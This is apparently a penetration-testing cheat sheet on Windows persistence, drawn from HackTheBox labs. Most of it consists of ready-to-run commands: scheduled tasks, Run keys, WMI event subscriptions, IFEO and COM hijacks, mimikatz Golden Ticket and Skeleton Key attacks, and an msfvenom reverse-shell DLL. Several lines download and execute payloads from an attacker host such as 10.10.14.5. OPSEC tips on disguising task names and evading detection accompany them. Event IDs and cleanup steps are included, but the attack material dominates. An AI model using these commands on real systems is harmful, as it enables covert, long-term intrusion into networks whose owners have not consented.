Windows Persistence
#Overview
Windows persistence mechanisms ensure continued access to a compromised system. Methods range from simple registry autostart entries to sophisticated Active Directory-based persistence like Golden Tickets and Skeleton Keys. The choice of method depends on privilege level, target environment monitoring, and engagement duration. Most techniques require administrative privileges, but some (registry Run keys, startup folder) work with standard user access.
#Prerequisites
- Administrative or SYSTEM privileges (for most methods)
- Access to the target system (interactive shell, WinRM, or RDP)
#Techniques
#1. Scheduled Tasks
Create tasks that execute payloads on login, startup, or at specific intervals.
# Create a task that runs at user logon
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /ru SYSTEM
# Create a task that runs daily at a specific time
schtasks /create /tn "Maintenance" /tr "powershell -c 'Invoke-WebRequest http://LHOST/beacon'" /sc daily /st 09:00 /ru SYSTEM
# Create a task that runs every hour
schtasks /create /tn "HealthCheck" /tr "C:\temp\shell.exe" /sc hourly /mo 1 /ru SYSTEM
Event ID 4698 is generated on task creation. Event ID 106 is generated when the task runs.
#2. Registry Run Keys
Programs added to Run keys execute at user logon. Available to standard users for HKCU.
# Current User (no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
# Local Machine (admin required)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityScan" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
# RunOnce (executes once, then key is deleted)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
# Alternative Run locations
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices" /v "Service" /t REG_SZ /d "C:\temp\svc.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "Value" /t REG_SZ /d "C:\temp\payload.exe" /f
#3. WMI Event Subscriptions
High-stealth persistence. Trigger payload execution on specific system events (startup, process creation, time intervals). Requires administrative privileges.
# Create __EventFilter (trigger condition)
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = "SystemHealth"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Create __EventConsumer (payload)
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = "SystemHealthConsumer"
CommandLineTemplate = "powershell -c 'IEX (New-Object Net.WebClient).DownloadString(\"http://LHOST/beacon\");'"
}
# Bind filter and consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $filter
Consumer = $consumer
}
WMI persistence does not write to disk and leaves minimal registry traces, making it harder to detect than services or Run keys.
#4. Service Creation
Create a new Windows service set to auto-start. Triggers Event ID 7045.
sc create "WinSvc" binPath="C:\Windows\Temp\payload.exe" start= auto
sc start "WinSvc"
#5. Startup Folder Shortcut
No admin required. Place a shortcut in the user's Startup folder:
copy payload.exe "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
# OR for all users (admin required):
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
#6. DLL Hijacking Persistence
Identify a DLL loaded by an auto-start application and replace it or use DLL search order hijacking. High-stealth but requires identifying vulnerable binaries.
#7. Winlogon Shell / Userinit Replacement
Replace the userinit or shell value in Winlogon to execute custom code alongside the legitimate binary:
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\System32\userinit.exe,C:\temp\payload.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\temp\payload.exe" /f
#8. Logon Scripts
Execute via Group Policy or local user settings:
reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "C:\temp\logon.bat" /f
#9. COM Hijacking
Replace or register a COM object loaded by a frequently-used application. Applications query the registry for the CLSID and load the DLL. High-stealth.
#10. Image File Execution Options (IFEO) Debugger
Redirect execution of a legitimate program through a debugger key:
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\temp\payload.exe" /f
#11. Golden Ticket Persistence
Forged Kerberos TGT signed with KRBTGT hash. Valid for 10 years by default, survives password changes, and provides domain-wide access. Requires Domain Admin privileges to extract KRBTGT hash:
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:<domain> /user:krbtgt
mimikatz # kerberos::golden /domain:<domain> /sid:<SID> /krbtgt:<hash> /user:Administrator /id:500 /ticket:golden.kirbi
mimikatz # kerberos::ptt golden.kirbi
#12. Silver Ticket for Service Persistence
Forged service ticket for a specific service. Stealthier than Golden Tickets but limited to a single service:
mimikatz # kerberos::golden /domain:<domain> /sid:<SID> /target:<target_fqdn> /service:<SPN> /rc4:<hash> /user:Administrator /ticket:silver.kirbi
#13. Skeleton Key (Domain Controller) - DESTRUCTIVE
Patches LSASS on the DC to accept a master password ("mimikatz") for any account. Survives reboots only while patched:
mimikatz # privilege::debug
mimikatz # misc::skeleton
# All users can now authenticate with password "mimikatz"
This is destructive and detectable. Use with extreme caution.
#14. DSRM (Directory Services Restore Mode) Password
The DSRM administrator is a local admin on every Domain Controller. If its password is known, it enables local DC access even after domain compromise is remediated:
mimikatz # token::elevate
mimikatz # lsadump::sam
# Look for: Administrator (DSRM account hash)
#15. AdminSDHolder Modification
Add a user to AdminSDHolder to propagate privileges to all protected groups (Domain Admins, Enterprise Admins, etc.) every 60 minutes:
# Add ACL for a controlled user to AdminSDHolder
# This user will gain GenericAll on all protected groups after SDProp runs
#16. BITS Jobs Persistence
# BITS (Background Intelligent Transfer Service) jobs — Survives reboots, low detection
bitsadmin /create "WindowsUpdate"
bitsadmin /addfile "WindowsUpdate" "http://10.10.14.5/payload.exe" "C:\Windows\Temp\payload.exe"
bitsadmin /SetNotifyCmdLine "WindowsUpdate" "C:\Windows\Temp\payload.exe" NULL
bitsadmin /resume "WindowsUpdate"
# The job downloads the file, then executes the NotifyCmdLine on completion
# BITS jobs survive reboots and run as the creating user
#17. PowerShell Profile Persistence
# Per-user profile (no admin needed)
echo 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/beacon.ps1")' >> $PROFILE
# Next time the user opens PowerShell, the payload executes
# All-users profile (requires admin)
echo 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/beacon.ps1")' >> "C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1"
#18. AppDomainManager Injection
# AppDomainManager injection — Load custom code into .NET processes
reg add "HKLM\Software\Microsoft\.NETFramework" /v "APPWINMGR" /t REG_SZ /d "payload" /f
# Requires: custom DLL in GAC or application base directory
# Affects: all .NET processes that load the default AppDomainManager
#19. COM Hijacking Specifics
# Find COM objects to hijack
Get-ChildItem "HKLM:\Software\Classes\CLSID" -Recurse | Where-Object { $_.Name -match "InprocServer32" }
# Hijack a COM object (user-level, no admin needed)
$clsid = "{CLSID-HERE}"
reg add "HKCU\Software\Classes\CLSID\$clsid\InprocServer32" /ve /d "C:\temp\payload.dll" /f
# When the COM object is instantiated by any process, our DLL loads
#20. Service DLL Search Order Hijacking
:: Find services with missing DLLs or writable paths
sc qc ServiceName
:: If the service loads a DLL that doesn't exist or from a writable directory:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o missing.dll
:: Place missing.dll in the service's binary directory
:: When service starts, it loads our DLL as SYSTEM
#21. WMI Event Subscription via wmic.exe
:: WMI event subscription via wmic.exe (alternative to PowerShell)
wmic /namespace:\\root\subscription path __EventFilter create Name="SystemHealth", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /namespace:\\root\subscription path __FilterToConsumerBinding create Filter="__EventFilter.Name='SystemHealth'", Consumer="CommandLineEventConsumer.Name='SystemHealth'"
#22. Accessibility Tools Persistence
:: Replace accessibility tool with cmd.exe (requires SYSTEM)
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
:: At the lock screen, press Shift 5 times → cmd.exe spawns as SYSTEM
:: Other targets: utilman.exe, osk.exe, Magnify.exe, Narrator.exe
:: Recovery: copy original from C:\Windows\WinSxS\ or Windows Side-by-Side
#23. Screensaver Persistence
# Screensaver persistence — executes when screensaver activates
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\temp\payload.exe" /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
#24. ADCS Certificate-Based Persistence
# ADCS certificate-based persistence — Request long-lived certificate
certipy req -u user@domain.local -p pass -ca CA-NAME -template User
# Use PFX for persistent domain authentication:
certipy auth -pfx user.pfx -dc-ip 10.10.10.10
# Certificate persists even after password change — long-term persistence
#25. DSRM Password Change
# Set DSRM (Directory Services Restore Mode) password on DC
ntdsutil "set dsrm password" "reset password from server" quit quit
# Or via PowerShell (requires DA):
Set-ADAccountPassword -Identity "CN=Administrator,CN=Users,DC=domain,DC=local" -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd!" -Force)
# Then enable DSRM as admin: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
#Additional OPSEC for Persistence
# OPSEC for persistence techniques:
# BITS jobs → Event ID 59 (BITS transfer created), logged in Microsoft-Windows-Bits-Client/Operational
# WMI subscriptions → Event ID 5861 (WMI activity), enumerate: Get-WmiObject __EventFilter -Namespace root\subscription
# PowerShell profile → Event ID 4104 (script block logging)
# Scheduled tasks → Event ID 4698 (task created)
# Registry Run keys → Event ID 4657 (registry value modified, if audit enabled)
# sethc.exe replacement → Well-known detection, Event ID 4663, checked by most blue teams first
#OPSEC by Method
| Method | Event IDs | Notes |
|---|---|---|
| Scheduled Task | 4698 (creation), 106 (run) | Task names should mimic legitimate system tasks |
| Registry Run Keys | No direct event | Easily discovered by forensic tools |
| WMI Subscription | 5861 (WMI activity) | Few artifacts, hard to detect manually |
| Service Creation | 7045 | Service name and binary path are visible |
| Golden Ticket | 4768 (TGT request) | ATA flags anomalous TGT creation |
| Silver Ticket | Service-specific | Harder to detect than Golden Ticket |
| Skeleton Key | LSASS modification | Memory patching is detectable by EDR |
| DSRM Password | No domain events | Local DC access bypasses domain auth |
#Cleanup
- Remove scheduled tasks:
schtasks /delete /tn "TaskName" /f - Delete registry Run keys:
reg delete "HKLM\Software\...\Run" /v "Value" /f - Delete WMI subscriptions:
Get-WmiObject __EventFilter -Namespace root\subscription | Remove-WmiObject - Delete services:
sc delete "ServiceName" - Remove startup shortcuts: delete from Startup folder
- Regenerate KRBTGT password twice (invalidates all Golden Tickets)
- Reboot DC after removing Skeleton Key
- Revert AdminSDHolder ACL changes
#Common Pitfalls
- ⚠️ Scheduled tasks fail silently if the binary path does not exist at execution time -> test after creation
- ⚠️ Registry Run keys require the user to log in interactively -> won't trigger on service accounts
- ⚠️ WMI subscriptions may be removed by security tools during routine cleanup
- ⚠️ Golden Tickets become invalid if KRBTGT password is reset (Domain Admin remediation)
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| mimikatz | https://github.com/gentilkiwi/mimikatz |
| schtasks | Built-in Windows |
| sc | Built-in Windows |
#Source Machines
- Return (Easy, AD) - Service binary modification via Server Operators group
- Jeeves (Medium, Windows) - Jenkins process migration for persistence